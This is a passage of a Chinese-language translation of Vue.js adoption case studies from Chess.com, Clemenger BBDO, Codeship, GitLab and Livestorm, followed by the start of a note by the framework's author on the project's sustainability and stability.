是一个巨大的性能瓶颈。这个问题会变得越来越大。从性能角度来看，我们网站的有些部分在一些传统的硬件设备上已经变得无法使用。它是无法维护的，Scott 回忆说。\n\nChess.com 面临的挑战不仅是处理现有的功能，也包括对新功能的规划\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc0a031aef2.jpg)\n\n> 大部分讨论都是关于架构，因为我们知道需要加入很多新的功能以保证用户下更多的棋并尝试各种不同的下棋方式，Scott 解释说。\n\n> 我不是说用 Angular 就做不了，只是用这些过时的 javascript 框架很难做到。\n\n为了提高用户体验， Chess.com 需要做一些真正的改变。\n\n> 我知道我们需要一个质的飞跃。从 Angular 1 迁移到哪个框架让我们深思熟虑。当然，我们有考虑过两位大佬：Angular 2 和 React。\n\n庞大的基础设施和持续的产品开发需要一个组织良好且规模庞大的团队。\n\n> 在我们的开发团队中，有各种各样的技术栈。此外，我们的团队是完全分布式和国际化的。任何像技术迁移一样重要的决定都会引起很多人的关注。\n\n#### 解决办法\n\n选择一个由 Facebook 或 Google 支持的框架，如 React 或 Angular，相对来说，貌似是一个比较安全的选择。但是，Vue.js 社区证明这个新来者无疑是一个强力的竞争者。\n\n> 我们是如此的关心性能以至于我们可能会选择对开发者不那么友好但基准测试看上去不错的框架。看到 Vue.js 赢得了渲染和性能的基准测试是振奋人心的，Scott 解释到。\n\n> 我们担心的是整个 Vue.js 是建立在 Evan 的想法上的，这个框架的生死都由他主导。我们决定只要社区发展迅速并且我们相信他们在做一些革命性的事情，我们就会带头并确信其他人在将来会看到它的价值，正如我们现在看到的一样。所以最大的问题是，它是否会继续发展，我认为这已经被证实了。\n\nChess.com 团队首先要做的事情之一就是将不同的页面从 AngularJS 重写为 Vue。\n\n> 重写工作现在仍在进行，目前已经持续了数月。我们的另一个任务是构建我们内部的可重用组件集，Scott 指出。\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc0a6a4a369.jpg)\n\n> 我认为用 Vue 构建一个不断增长的组件库是一件非常酷的事情，每个组件都有自己的模块化 CSS，这些组件最终会构成我们网站上的全部用户界面元素。一个团队一直在用 Vue 来实现特定产品领域的 components、routes 和 stores，而另一个团队一直致力于构建全站共享的组件库，几乎不用担心产生冲突。此外，它还使我们的产品讨论更加抽象和复用。\n\n#### 成果\n\n对于一个像 Chess.com 这么大的应用来说，Vue 带来的好处远远超过其他。\n\n> 单个文件组件绝对是构建和维护我们库的不二法则，这样使得团队能够仅仅在有官方的状态管理系统的框架部分中进行投入。我们相信这些事情会一起工作——这都是集体愿景的一部分。\n\n有了 Vue.js，Scott 发现与远程团队合作起来更加容易了。\n\n> 他指出，我们对Vue的热爱在于，它具有难以置信的易用性和低的入门门槛，同时具备拓展能力，与其他组件库相比，有相当的(如果不是更好)能力、速度和抽象性。\n\n> 我们是一个完全由15个开发人员组成的远程团队，我们非常依赖 Slack, Jira 和 GitHub。然而，在 Vue 中更容易进行协作，因为它与我们的遗留代码没有太大的区别——仍然有声明式模板以及我们习惯的所有内容。\n\n> 其次，编写 CSS 的便捷性令人惊叹。它给我们带来了巨大的利益。我们有许多开发人员说着不同的语言使用不同的编程风格，他们只需针对特定文件中的标记来命名，而不需要担心全局名称空间的名称冲突。使用方便的感觉是如此美妙。\n\n介于 Vue 给 Chess.com 团队提供了巨大的支持，未来他们无疑将会继续使用它。\n\n> 我们现在都在用 Vue.js！正如我说的，我们的工作分两部分：重构我们的组件，从 Angular 1 迁移。因此，我们同时用两种完全不同的方式实现，这是值得骄傲的。\n\n![1509690042(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc0ac62efa9.jpg)\n\n### Clemenger BBDO\n\nClemenger BBDO 是一个全方位的服务机构，提供包括品牌战略、综合创意开发、CX、数字服务、CRM、PR、设计、顾客和激活的全套功能\n\n在过去的12个月里，在戛纳广告奖和创意奖上，它被评为世界上最具创意的机构。\n\n我们决定选择 Vue.js 因为它满足了我们的项目提出的所有需求，同时为我们的团队提供了一个舒适的开发环境。它非常接近于原生 JavaScript，因此很容易上手。\n\n> Sylvain Simao, Clemenger BBDO 技术总监，墨尔本\n\n**挑战**\n\n项目周期短（4 到 12 周），由多人完成开发。\n\n使用动画和过渡效果。\n\n移动设备上加载和运行速度要快。\n\n**解决方案**\n\n对静态页面使用 Vue.js 的预加载方案\n\n构建ES6模块而不是框架特定的代码。\n\n**成果**\n\n按时交付多个成功的互动活动。\n\n高流量的数字项目。\n\n快捷的入职培训和项目初始化。\n\n#### 挑战\n\nClemenger BBDO 大多数项目是活动网站。他们大部分是前端的（包含小部分后端），大多数项目使用的是无服务器的方式、API、AWS 服务等。\n\n由于同时需要开展多个有着严格工期的项目，Clemenger BBDO 必须设计出一套标准的可以显著提高开发速度，且要有足够的灵活性，可以用于不同的项目之中的方案。\n\n> 作为技术领导，我需要记住的一件事情是我的团队在短时间内交付高端的高质量项目的能力。我们是一家广告公司，这意味着一个为期3个月的项目真的很长，Sylvain 解释道。\n\n> 快节奏的环境意味着我们需要人们能够快速地投入到新的工具。有时我们也需要与外部承包商合作，所以对于我们最完美的方案是那些很容易学习和用于工作的东西。Vue在工作流程方面给了我们很大的灵活性——例如，能够与已经知道的 HTML 和 CSS 的预处理器一起工作是一个很大的优势。\n\n在客户端项目上，Sylvain 和他的团队使用了不同的 JavaScript 框架。\n\n> 我觉得我们都试过了! Sylvain 笑道。\n\n> 我们尝试了一些框架，比如 Angular，React，和 Riot.js。但是 Vue 最终得到了我们的青睐。Vue 即简单又不失健壮。对我们来说，这是一缕新鲜的空气。它有一个丰富的生态系统，而且它是一个渐进的可采用的工具，使它成为我们所要交付的工作类型的完美工具。\n\n交互式活动网站到处是挑战。\n\n> 您必须处理 SEO、可访问性和浏览器兼容性，但同时也要实现一般的动画、过渡和很多交互界面。这些无疑是我们工作中最具挑战性的方面。\n\n#### 解决方案\n\n由于其流畅的学习曲线，Vue.js 可以很容易让新开发人员或外部承包商使用。\n\n> 我们注意到 Vue.js 在培训新手方面表现很不错。为什么？因为学习曲线非常平滑，非常接近原生 JavaScript，Sylvain 说。\n\n> 对我们企业来说，它真的很棒。人们可以很快获得最新的速度，我们可以更有效率地交付。另一个值得注意的一点是，Vue 的官方文档和资源的质量令人难以置信。它可能应该得到一个最容易理解的框架文档奖!\n\n对于每一个 Clemenger 服务的网站来说，重要的是 SEO。\n\n> 对于这个特定的问题，我们为我们的所有页面做预渲染。大多数时候，当我们有一个新的项目需要 Vue.js 的时候，我们从基于官方 Vue webpack 模板构建的样板开始。然后，我们使用像 PhantomJS 或 Prep 这样的库来呈现页面的静态快照。最后，通过使用 Nginx 或 Lambda@Edge 等用户代理工具，很容易将这些页面提供给爬虫。\n\nSylvain 使用 Vue.js 来处理动画和过渡效果。\n\n> 现在我们正在改变我们实现动画的方式。自从 Vue 的最新版本发布以来，现在的过渡效果有了更多的灵活性。我们现在有了一个更细粒度的转换钩子，这使得可以触发第三方库并实现复杂的动画，同时核心仍使用 Vue。我正努力推动我的团队走向那种模式。\n\n对于 Airbnb 的活动设计--“Until we all belong”，技术选型是 Vue.js。\n\n![1509690301(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc0bc9c12ea.jpg)\n\n> 该项目最初设计为一个单页面应用，基于 Vue 和 webpack。为了提高效率，web 页面托管在 Amazon S3 bucket 中，这意味着我们不能使用任何服务器端渲染。UI 的每个部分和每个页面都是使用 Vue 单个文件组件构建的。在这样一个预期会有大流量的网站上，性能是关键，这就是为什么所有东西都按需加载。我们的一个项目记录到了每分钟 6000 个的访问量——是非常大的。我们需要做好准备，Sylvain 解释道。\n\n> 在这种情况下，Vue.js 是救星。对于 Airbnb 项目，背景中有很大的图片资源需要加载以及应用动画。为此，我们使用 Vue-router 来声明需要预加载的资源或数据，而 VueX 则负责跟踪每一页上的内容。这个项目在交互方面也很有挑战性，但我们在6周内就成功发布了这个网站。\n\n![1509690342(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc0bf296b5a.jpg)\n\n#### 成果\n\n使用 Vue.js 来按时交付项目要容易得多。\n\n> 如果不是 Vue，我们就不会那么快了。主要是因为 API 的简单性。我们最近开发了一个基于 Angular 2 的混合应用程序的原型，语法很优雅，但学习曲线很陡峭，简单的事情也需要时间。有了 Vue，你可以快速地实现原型，这可能是它最大的优势。\n\n有了 Vue，Clemenger 团队能够处理各种不同的项目。\n\n> 我们现在有相当多的项目建立在 Vue.js 之上。“Airbnb’s Until we all belong”，一个澳大利亚的婚姻平等活动，已经获得了一些行业奖项，包括 AWWWARDS 和 CSSDA。另一个项目--Meet Graham which introduce the only person designed to survive on our roads, Graham。在第一周内，该项目记录了超过 1000 万的页面浏览量，并获得了身临其境的公认和媒体报道。它备受好评，并获得了众多奖项，包括 2017 年戛纳国际电影节大奖。我们最近的一个项目是 Snickers Hungerithm，这次我们决定用 Vue 重写活动应用用于全球推广。Hungerithm 是饥饿识别算法，可以通过推文来监控在线情绪。当饥饿度上升时，士力架的价格就会实时下降。\n\n### Codeship\n\nCodeship 是一个持续集成平台，它可以让你在云端放心地发布你的应用。在 Codeship 上的开源项目总是免费的。\n\n> Vue 给了我们做任何想做的事情所需的灵活性。它打下了坚实的基础，因此我们可以用任何我们喜欢的方式去扩展它，它不仅仅是我们用来完成目标的工具。这是我们非常喜欢它的理由。\n>\n> 来自 Roman Kuba ，Codeship 前端 Leader。\n\n**挑战**\n\n应用内的冻结和崩溃。\n使用 Angular 进行单元测试非常困难。\n雄心勃勃的新功能计划以及构建新的，复杂的东西。\n\n**解决方案**\n\n构建一个概念验证( Proof of concept )，并以此说服其他开发人员去尝试一下 Vue.js。\n只接受验收测试。\n重构以及重写页面。\n\n**产出**\n\n自从 Vue.js 实施以来，没有发生任何应用程序崩溃的现象。\n牢固（Bulletproof），可靠，易于维护的代码。\n得到客户满意当前用户体验的正面反馈。\n\n#### 挑战\n\nCodeship 是 2010 年推出的一款 CI 平台，被 CNN，Red Bull 和 Procuct Hunt 等公司使用。 他们的技术栈中包含了 jQuery 和 CoffeeScript，他们为全球开发者建立了一个成功的平台。\n\n但随着时间的流逝，这个团队意识到是时候该去找一个新的技术去支撑更久远的发展以及促进更复杂东西的建设。\n\n> 给你一些观点 —— 大量的客户在他们的日常操作中依赖着 Codeship。当我们正在开发一个新功能时，通常可能需要四个月的时间，不知为何，这样总感觉不太好，就好像我们正在从顾客那里拿回什么东西。但如果我们花两个月的时间去开发功能, 就反过来了，这往往意味着两个月的痛苦并且对客户不负责。快速而可靠的提供产品对我们来说至关重要。Roman 这么说。\n\n![1509692542.jpg](https://ooo.0o0.ooo/2017/11/03/59fc15158019e.jpg)\n\n> 我们拥有能够完整接收终端输出的页面作为我们用户的可读日志,这样他们就可以看到什么样的测试通过了以及测试的信息。像我们之前的产品使用 jQuery，因为一些变得越来越复杂的原因，不得不将它砍掉,对比很明显。Roman 反映道。\n\n> 接下来的六个月里面我们使用了 Angular 1。 仅仅是因为我们对它比较熟悉。\n\n公司切换到了 Angular 而且适应的很好。然而随着服务的增长，我们发现坚持使用它从长远的角度来讲是不太可能的。\n\n> 我们一直试图去改善的一个东西是性能。这是 Angular 里面的一个超级大问题。我们在构建的页面上需要展示的数据量远远超过了 Angular 的能力上限。客户们纷纷报告严重的问题 —— 页面无响应，有些人甚至遭遇了冻结和浏览器崩溃的现象。\n\n即使如此，Roman 还是不想马上放弃 Angular。\n\n> 当然，我们已经尽力去优化了。我甚至尝试将一部分的渲染工作移出 Angular 的默认渲染列表并用原生的 JavaScript 代替，但是并没有什么用。Roman 叹了口气。\n\n> 在某一时刻， Angular 试图通过跟踪页面的范围并运行相关的 digest cycles 来把握页面上的变化。。。 这很影响性能，我们尝试去消除这一影响，但没什么用，它没有办法顺利地运行。\n\nCodeship 面临的另一个重大挑战是改进测试过程并使应用程序变得更加可靠。\n\n> 我们在使用 Angular 的时候还是会尽可能地利用验收测试。我们基本上会把整个应用里的用户故事都给测试一遍。使用 Angular 本身进行单元测试以及单独测试组件，模块或控制器是非常痛苦的。它几乎给不了我们所需的全部画像。Roman解释说。\n\n#### 解决方案\n\n得到工作人员的认可以及 VPE 的批准是从 Angular 转型的第一步。\n\n> 起初，让所有人都同意去使用 Vue 是一场艰苦的斗争。这个团队之前从来都没有听过它，他们只知道 Angular 2 以及 Google 正在抛弃它，还有 React 和它背后的 Factbook。Roman 说。\n\n> 在团队会议中，第一个问题通常是关于 Vue.js 社区的规模，大家想知道如果在开发过程中遇到问题，他们是否能够得到来自社区的帮助，因为我们的大部分员工都是做后端的，他们更想要坚持选择他们所能听到的可信赖的名字。\n\nRoman 决定用他的知识和调查结果来说服他们转移到 Vue.js。\n\n> “我做了一些样例和一个内部演示，至少要让他们相信这个决定以及决定背后的理由” 他说 “如果你简单地阅读过 Vue 的源码，你会发现独立去扩展这些代码并不困难。它不像 Angular 或者其他类似的沉重的框架。”\n\n在 Codeship 直接投入开发之前，他们需要一个概念验证。\n\n> 当时我对 Vue也没有太多的经验，我对框架中涉及到的技术了解十分有限。但是，从 Vue 开始似乎毫无费力，我很快就意识到这是一个针对困扰我们大多数问题的解决方案。只用了一个晚上左右，我就用 Vue 重构了一个关键部分并试图使用大量的 Loglines 作为概念验证。\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc15add61e8.png)\n\n然后我对所有的代码做了CPU性能分析，这件事立即向我的团队证明了 Vue.js 已经给我们带来了巨大的性能提升。我们将渲染时间从30秒缩短到了7秒左右。Roman 回忆到。\n\n概念验证在手，Roman 和它的员工终于可以开始向 Vue 过渡了。\n\n> 我们试图移走概念验证并用 Vue 代替我们现有的系统。这里头的实际风险非常小。我们有一个对用户来说正处于崩溃的系统，所以，还会有什么更糟糕的事情会发生？Roman 笑道。\n\n> 我通过花了一个礼拜的时间重构并重写页面，然后将它发给用户来获取反馈来快速验证工作的可行性。只过了一天的时间，我们就发现过去困扰我们的问题全部都消失不见了，甚至是在有 15 Mb 日志呈现的情况下。在渲染时间在 30 到 40 秒之间（我们正在努力进一步减小这个数字），应用在所有的浏览器上都能够出色的运行并且没有被我们记录到任何一次崩溃。\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc15e8cc1c8.png)\n\n抛弃验收测试使整个测试部分变得更加愉快和可靠。\n\n> 我们抛弃了验收测试，开始考虑我们可以得到什么，并使用 Jest 和 Vue 来测试。我们在 Vue 中使用多个组件，甚至是复杂的页面，但是只能通过 Jest 进行测试，因为我们有快照并验证渲染 HTML 是否是我们想要的。Roman 解释道。\n\n#### 产出\n\n一些很少做前端的工程师现在感觉有能力去接触一些代码片段了。\n\n> Angular 和它的结构、模块、模型和控制器，以及几十个其他东西。。引入了不必要的高度复杂性。对于这些工程师来说，大部分名词听起来就像是奇怪的魔法一样。但是当他们真正地看到 Vue.js 的时候，他们能感觉到自己有能力去马上深入研究它。这对于我们公司来讲是一个非常大的胜利，Roman反映道。\n\nVue.js 帮助 Codeship 组织他们的代码并优化用户体验。\n\n> 它可以帮助我们更快的交付所需功能，用户不需要为了他们需要的或者期望的东西来等待数个月的时间，他们非常喜欢这一点。我们的页面中有一个是基于 jQuery 运行的，它的结构非常奇怪。我们将它基于 Vue 重构了。现在，它提供了更加细化的体验和更友好的 UI 交互效果，因此，它显著地改善了用户体验。人们总是这样告诉我们。\n\n> 使用 jQuery 的时候，代码非常混乱，难以和维护。而使用 Vue 的时候就不一样了，你可以利用它组件的强大功能和它的生态系统，比如 Vuex。我们现在正在做的是页面状态管理，这是我们以前从来没有完成过的，至少没有以这样一种干净的方式完成。\n\n对于 Codeship 来说， Angular 测试是一个非常痛苦的过程。而用了 Vue.js，他们知道他们的代码是牢固的。\n\n> Vue.js 确实提升了我们的测试协议。Jest对我们来说是一个比较聪明的测试工具。但是有了 Vue 之后，我们觉得我们又更多的方法来控制应用的各个方面，Roman 阐述道。\n\n> 我可以运行 15 个执行特定操作的测试。这样的方式可以让我轻松地识别代码中的断点。在以前的验收测试中，我没办法这样做，因为这需要消耗很长的时间。得到的结果不值得我们付出那么多的精力。单元测试在这方面反而更好。在代码方面，我知道它是牢固的，因为我们以全新的方式对它进行测试，结果令人难以置信。\n\n### GitLab\n\nGitLab 是一个集代码托管,测试,部署于一体的开源git仓库管理软件。\n\n> 每一个框架都有自己的适用领域，使用 Vue 的时候，每一次斗争都是你自己的，而不是 Vue 的。它只是一个完美的框架。\n>\n> 来自 Jacob Schatz, GitLab 前端 Leader\n\n**挑战**\n\n实现复杂的功能以及维护现有的功能会有困难。\n大型的 Rails + jQuery 应用难以扩展。\n应用速度不足。\n\n**解决办法**\n\n逐渐将 Vue.js 引入到 GitLab 中，以便与 jQuery 一起使用。\n把 Vue.js 用在合适的新的功能上以及迁移旧的功能。如无必要，不做完整的重写或者重构。\n使用 webpack 创建优化后的代码包。\n\n**产出**\n\n整个代码库和代码结构体系中的统一的样式指南变得更加容易维护。\n极大改善了时间消耗以及编码效率。\n因为能够实现更复杂的功能，改善了用户体验，从而导致了更好的销售业绩。\n通过减少包的体积使页面的加载时间得到改善。\n\n#### 挑战\n\n经过六年的市场推广，GitLab 已经成为上千家公司开发人员心目中知名的解决方案提供商。但是在两年前，公司内部的大部分代码仍然是用 Rails 和 jQuery 编写的。\n\n直到 2015 年，公司还没有专职前端的开发人员，而且整个体系运转得十分良好。Rails 开发人员兼职写前端代码而且做的很棒。然而，公司未来的计划需要一个新的解决方案。\n\n> 当我刚进公司的时候，我看到我们有一些比较简单的项目是只用 jQuery 实现的。但如果我们想要做一些更复杂的东西，或者说我们想要实现一些比较大的点子，我们需要一些别的东西。Jacob 解释道，\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc19771d8ba.png)\n\n> jQuery 很棒，但是因为你要负责代码内的每一个状态的变化，这样容易导致它造成更多的 bug。\n\n为了达成目标，GitLab 开始寻找一个新的解决方案。\n\n> 因为我之前有使用 Backbone 的经验，所以我们考虑过它。我们也仔细考虑过 React，但是也淘汰了。还有 Embar 和其他的不同的框架。我甚至想过用每个框架都做一个小项目出来，那时候我们甚至还没想过 Vue.js！Jacob 回忆道。\n\n测试所有的这些框架帮助 Jacob 认识到了它们的优缺点。\n\n> Backbone 有很好的结构，它有很多小工具可以完成任务。但是你用起来其实和 jQuery 没什么太大区别。而我对使用 React 这种依赖大公司的框架有些恐惧，因此它似乎也不适合我。我非常喜欢 Mithril！唯一的问题是它写起来非常困难。如果他们能加入一些友好性， 我相信人们会开始适应它。\n\n另外一个大的挑战就是为切换新技术做个成熟的方案。这么做有很大的风险，因此必须良好地切换它。\n\n> 在 GitLab，我们有成吨的代码。当我加入的时候，我们的代码库已经有 8000 行的 JavaScript代码了。很明显，我完全不想去彻底重写这玩意。实际上我们的代码库中还是有些地方是用 jQuery 写的。\n\n#### 解决方案\n\n测试了一些框架之后，Jacob 在他手头的框架里还是找不到一个完美匹配的。只有在他用 Vue.js 的早期版本写了一个很大的项目之后，他才意识到自己可能找到黄金了。\n\n> 当我把这个项目放在一起的时候，我就知道我们可以用这个框架写很多代码。这不仅仅是写一个简单的 todo 应用。所有问题都会在你开始处理这个大型的应用的时候真正开始，Jacob 解释道。\n\n在 GitLab 开始切换到 Vue.js 之前，他们需要做一次概念验证。\n\n> Phil Hughes [Sr. GitLab 前端工程师],创建一个概念验证，我们在那里采取了一个我们正在做的主要功能 —— issue boards 。Phil 用 Vue.js 写这个，显而易见，我们在很短的时间内完成了大量的工作！没有之前 jQuery 带来的各种 bug。Jacob 说道。\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc19cb934bd.png)\n\nVue.js 支持 Jacob 在他的团队中推广自己的方法--小范围迭代，并建立概念验证。\n\n> 他说，我们总是有四到五个概念验证。\n\n通过这种方法, GitLab 引入了 webpack ，它能够将资源拆分成更小的块供浏览器下载，从而缩短了应用的加载时间。\n\n> 我们创建了一个小的概念验证来判断 webpack 是否可行，当我们发现这是可行的时候，我们走完了整个流程并结束了 Vue 和整个 trello 应用的开发。并在一个月内取代了数十亿美元的产业，干得好，Phil！Jacob 笑了。\n\n响应式模板（reactive templates）这个功能是 Vue.js 中最有用的。\n\n> 这是 Vue 所做的非常非常简单的一件事情。 我在 GitLab 中编程的第一件事就是进入 issue 页面，在之前，当你点击 close 的时候，你必须刷新页面。 而现再，它改变了合并按钮（merge button）的状态，它会自动改变下面所有按钮的状态。在 jQuery 中，我们需要写至少三四十行的代码来保证这个按钮的状态是正确的。在 Vue.js 中只需要一行代码。视图总是会反映出当前的情况， Jacob 解释道。\n\n> 而且现在我们使用 Vuex，它比之前做的更好。状态管理工作有了很大的不同\n\n虽然 Vue 有很多优点，但是它也有一个缺点。\n\n> 目前 GitLab 有 15 名开发者。像 Angular 这样的框架，大家可以在一起用同样的方式工作。而 Vue 比它开放很多，所以我们需要建立文档来告诉大家在 Vue.js 中写代码时该遵循什么样的模式。不过这是我们已经解决了的问题，Vue的开放性也是它的魅力所在，但是你需要保证所有人都在同一个层面上。\n\n**[VUE.JS STYLE GUIDE BY GITLAB](https://docs.gitlab.com/ee/development/fe_guide/style_guide_js.html)\n\n#### 产出\n\n> 使用 jQuery 来扩展应用和引入新功能其实是可以的，不过维护起来就要困难的多。\n\n> 我们现在正在做的事情需要非常大的代码量以及很多的组织。针对这些问题 Vue 解决了很多。Jacob 说。\n\n> 像 Vue.js 中的响应式这种, 你给它一个变量，它会直接绑定到 DOM 上并处理好所有其他的事情，尤其是 2.0 版本中的虚拟 DOM，它提供给我们一个简化工作流程的办法去改善性能。\n\nGitLab 之所以可以快速迭代并提高代码的可用性，这都要归功于 Vue.js。\n\n> 在之前我们需要专注一些小的细节和代码，现在我们终于可以专注于代码可用性以及用户体验。我们可以思考更大的图景。\n\nVue.js 是如此的开放和易上手，GitLab 的前端开发人员每天都能够处理它。\n\n> 和其他工具相比，Vue 不用遵循任何严格的知道规则。它是开放的，这点实在太赞了。我喜欢它现在做的一切。当然它有着你能想象到的最神奇的文档。它对于新人非常直观和友好。\n\nVue.js 帮助 GitLab 改善了时间和成本效益\n\n> 大家知道事实上我们的发展速度更快了。这很容易看出来。从销售角度来看，我们正在创造的更良好的用户体验功能吸引人们使用 GitLab ，并使它成为更加令人期待的产品。人们喜欢我们用 Vue.js 开发的新功能。因为我们改善了用户体验，也间接增加了销售量。\n\nJacob 认为他们将来肯定会再使用 Vue.js。\n\n> 我们都准备好了！现在我们还有其他的挑战。目前我们正在努力改进我们的流程并加快测试的速度。 Vue.js 为我们解决了如此多的问题以至于我们肯定在将来持续地使用它。\n\n### Livestorm\n\nLivestorm 是一种基于网络的、集成一体的在线会议解决方案。它帮助像 Workable, Pipedrive 或者 Instapage 等公司进行现场销售演示或者客户培训。\n\n> 我们不需要花一个月时间用 React 来把所有事都安排好，Vue 让我们在一周内就可以办到。我完全确信如果没有 Vue ，就不会有今天的我们。\n>\n> 来自 Livestorm 的联合创始人兼首席执行官 Gilles Bertaux.\n\n**挑战**\n\n从零开始建立可靠的实时网络软件，并使其在竞争激烈的市场中产生影响。\n在巴黎，只有极少数的 Vue.js 专家。\n吸引初始用户并验证产品的理念。\n\n**解决方案**\n\n建立一个快速的最优秀应用。\n使用 Vue.js 和 Ruby 创建一个高性能的应用。\n在 Vue.js 社区上为团队寻找潜在的员工。\n\n**成果**\n\n立即得到用户的积极反馈。\n可重用的组件以及快速开发。\n快速成长的业务量以及每月 20-30% 的收入增长。\n\n#### 挑战\n\n与其他网络平台不同，Livestorm 渲染了浏览器中的一切。该服务通过分析、与流行的客户关系管理系统集成、以及营销自动化软件提供可实施的办法。\n\n对于这样的应用，Gilles 和他的团队必须选择一个高性能的技术栈。他们打算从零开始验证他们的想法并建立一个稳定可靠的产品。\n\n> Livestorm 的主干是一个 Rails 应用程序——后端所有东西都是用 Ruby 做的。 Gilles 解释道：对于我们所有的前端组件，我们选择了 Vue.js。\n\n> 我们从 2016 年 1 月开始开发我们的项目，从第一天开始，我们就知道我们会使用 Vue。我们需要一些完全开源的、高性能的、有特定逻辑的组件。Vue 是唯一能满足我们所有需求的框架。\n\n![1509695413(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc1fc911d6a.jpg)\n\nLivestorm 由四位联合创始人创建，力图从公司的最初阶段组建一支强大的员工队伍。\n\n> 我们考虑了很多招聘问题。在我们工作的巴黎地区只有很少的 Vue.js 开发人员。我们也考虑招聘精通类似于 Vue 的其他框架的开发人员，但是这种情况下，新员工培训过程可能花更长时间，这对我们来说是有问题的。\n\n为了建立一个成功的流媒体产品，团队必须关注可靠性。\n\n> 可靠性对我们来说是头等大事。Gilles 说：如果你失去了直播流，网络研讨会和演示会崩溃并且流媒体丢失，我们的业务就会变得毫无意义。\n\n> 如果应用程序挂了，或者有一个 bug 让它无法使用，我们会失去用户。我们需要一种技术来保证最高的代码质量，并且运行得很快。我们仍然在执行端到端单元测试。有些事情我们还没有用 Vue 实现，这对我们来说是全新的。\n\n#### 解决方案\n\n大多数开发人员仍然选择 React 和其他流行的框架，但是 Gilles 相信这将会有所改变。\n\n> 为了给我们的员工招聘专家，我们参加了在巴黎的 Vue.js 聚会，在那里我们遇到了很有经验的人。我们也试了在招聘网站上发布招聘，有趣的是，约谈的大多数程序员说他们在自己的项目上用 Vue.js，但是他们平日工作用的基本是 Angular、React，和其他框架。Gilles 指出，他们大多数来自大公司。\n\n> 然而，我注意到一件事，那些经常使用这些技术的公司，是因为代码遗留所迫，或者是因为他们想尝试一下其他人也在尝试的技术新热点。在创业社区，在我参加的多个轻松的渠道和会面中，与我交谈的首席技术官和联合创始人对迁移到 Vue.js 很感兴趣，他们对我们在 Livestorm 里用了 Vue 很兴奋并且问了很多问题。坦率地说，我相信会有一个重大的转变——人们会对迁移到可靠、高效的东西更感兴趣，像 Vue.js。Gilles 补充说：而像 React 这类炒作的技术会逐步减少流行，直到他们最后被淘汰。\n\nGilles 想把他的产品尽快发布，他的团队创建了一个快速的 MVP 来获得外部世界的最初反馈。\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc226671fba.png)\n\n> 我们花了不到一个月的时间创建了第一个 MVP。这足以展示产品和基本理念。他回忆说：最后，我们得到了很多积极的反馈，从而确保了我们是符合市场需求的。\n\n> 我们花了 5 个月的时间卖出了第一份订阅。这是相当长的一段时间，但是我们需要首先完成一些与技术没有必然联系的东西。\n\nGilles 的团队在他们的平台上创建的一系列功能使其成为一个有竞争力的解决方案，真是令人惊叹。\n\n> 直播会议、网络摄像头和屏幕共享中的 WebRTC 实时流、全高清流媒体直播是主要的视频相关的功能。我们也提供了一个运行于 Vue.js 的聚焦于分析的部分，并且与流行的销售和营销工具，例如 Salesforce 集成。我们也开发了其他基于浏览器的网络会议软件所没有的独一无二的功能，让用户可以在飞机上从 WebRTC 切换到 HLS，使媒体流可以与 IE 浏览器用户以及一部分移动设备匹配。\n\n#### 成果\n\n投入市场一年后，Livestorm 拥有来自世界各地的用户，并且有了一个已经盈利的产品。\n\n> 我们已经有大约 150 名付费用户，他们都对 Livestorm 的速度之快印象深刻，他们也喜欢界面和交互。从商业上来说，我们有一个不受我们干扰能独立运行的应用程序，所以说——我们没有一个销售团队。我们有 7 名员工，包括产品专家、工程师，以及一名营销人员。那个人是我，Gilles 解释道：但是只是因为产品非常好而且可靠，我们每个月有 20%-30% 的增长。\n\n借助 Vue.js ，Livestorm 可以更快地发布新功能，以满足客户的需求。\n\n>  当然，我们试图尽快地上新功能。现在我们在一个为期两个月的开发阶段，该阶段将以一个大型功能的发布而结束，但是我们通常在一两周内发布功能，Gilles 解释道。\n\n> 有了 Vue.js 我们不必每次都去造轮子。\n\n> 我们可以重用所有已有的组件来加快开发。现在，我们代码库的 39.5% 是用 Vue 创建的。\n\n![](https://ooo.0o0.ooo/2017/11/03/59fc22c98b5f1.png)\n\nGilles 声称选择 Vue.js 而不是其他框架让他的公司成功得更快。\n\n> 只有基准说明了真相，而现在基准清楚地证明了 Vue.js 绝对是新产品和现有产品的选择。他说：所以如果任何人在不久的将来必须做出技术选择，他们应该依靠具体事实、数据和基准，而不是观点。\n\n> 如果你有很多开发人员，他们已经习惯了使用 Angular 或者是更加经典的框架，让他们迁移到 React 会使整个团队感到痛苦。另一方面，过渡到 Vue，更加顺畅，反过来只要更低的成本。 我们不需要像 React 花一个月的时间来把所有事都建立好。Vue 让我们在一周内开始运作。如果不是 Vue，我 100% 地肯定我们永远不会达到现在这样的成就。\n\n### Vue.js 的特点\n\n来自 Vue.js 的作者 Evan You\n\n#### 可持续性\n\n作为一个项目，Vue.js 已经走了很长的路才能成为今天的样子。它已经从一个小的实验成长为一个成熟的框架，并且被全世界成千上万的开发者使用。它已经从一个“项目”发展成一个生态系统，在 vuejs 组织中有超过 300 个贡献者，并由来自全球的超过 20 个活跃成员组成的核心团队维护。核心团队成员承担了核心库的维护、文档、社区参与以及主要的新特性例如类型声明的改进和测试功能。说 Vue 是“一个人的项目”不再准确，也是对团队和社区的所有惊人贡献的不尊重。\n\n从财政上来说，从 2016 年 2 月来，Patreon 活动已经收到了稳定的有保障的收入，这让我可以在过去一年半时间里全职工作在这个项目里。另外，最近开始的 OpenCollective 活动，旨在为社区举措提供财政支持，在短短两周里已经收到超过 11000 美元的年预算，而且还在持续增长。更重要的是，这些开放的财政贡献渠道意味着你的公司可以通过成为赞助商积极帮助确保项目的可持续性。\n\n今天我有信心地说作为一个开源项目，Vue.js 已经超越了这一临界点，即项目的生存对任何考虑是否采用该项目的人来说不再是一个问题。\n\n#### 稳定性 \n\n前端的设计变化很快，我们知道不断改变有多么令人沮丧。这是为什么我们这么重视稳定性。在 GitHub 上查看项目的历史，你会看到一系列新特性和改进的版本的坚实记录，及时的 bug 修复，以及对代码一丝不苟的标准（是的，我们保证 100% 测试覆盖率）。\n\n所有 Vue.js 包的发布遵循了语义版本控制，我们尽最大努力通过交流提前知道任何潜在的需要的操作。2015 年 10 